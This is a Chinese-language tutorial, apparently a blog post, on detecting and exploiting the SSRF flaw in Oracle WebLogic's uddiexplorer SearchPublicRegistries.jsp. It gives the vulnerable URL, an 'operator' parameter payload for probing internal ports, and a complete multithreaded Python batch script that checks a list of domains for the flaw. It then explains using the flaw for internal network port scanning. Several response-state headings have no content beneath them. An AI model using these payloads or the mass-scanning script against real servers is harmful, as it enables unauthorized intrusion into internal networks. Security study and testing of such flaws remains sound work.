0x01前言
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。(正是因為它是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統)
SSRF 形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
這裡主要講解weblogic中SSRF漏洞的檢測辦法,以及利用手段。具體Weblogic如何搭建的過程,大家可以自行百度,這裡不再耗費時間來贅述
0x02檢測漏洞
2.1、直接訪問:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在於:
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
2.2、向服務器提交以下參數
rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
關鍵點是operator這個參數,訪問7001端口時返回一個404的狀態碼。
2.3、訪問一個不存在的端口會返回以下信息。
可以通過返回的信息不同,來判斷端口開放的狀態。
2.4、實戰挖掘的過程中總共遇到過以下幾種狀態(referer:http://zone.secevery.com/question/121):
狀態一、
狀態二、
狀態三、
狀態四、
狀態五、
2.5批量檢測腳本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Test(threading.Thread):
"""docstring for Test"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e
def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload
try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('For example: (.*?)/uddi/uddilistener.*?',html)
if m:
return m.group(1)
except Exception,e:
print e
def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)
self.queue.task_done()
if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())
for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
0x03利用手段
3.1內網端口探測
我們可以根據返回的不同狀態信息,來判斷內網的IP是否存在以及對應端口是否開放。 這裡有一個地方需要注意的是,需要知道目標內網網段。 如果盲目的去進行網段掃描會耗費大量的時間。
實戰挖掘中發現這個位置有可能會洩露內網網段。
確定網段之後可以使用腳本來進行快速探測。
SSRF不僅僅只是為了探測端口,更強大之處是在於探測到一些信息之後從而進一步的利用.
更多的利用手段可以參考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
0x04 參考Referer:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
http://wyb0.com/posts/weblogic-ssrf-check/
閱讀更多 Web安全陪跑團 的文章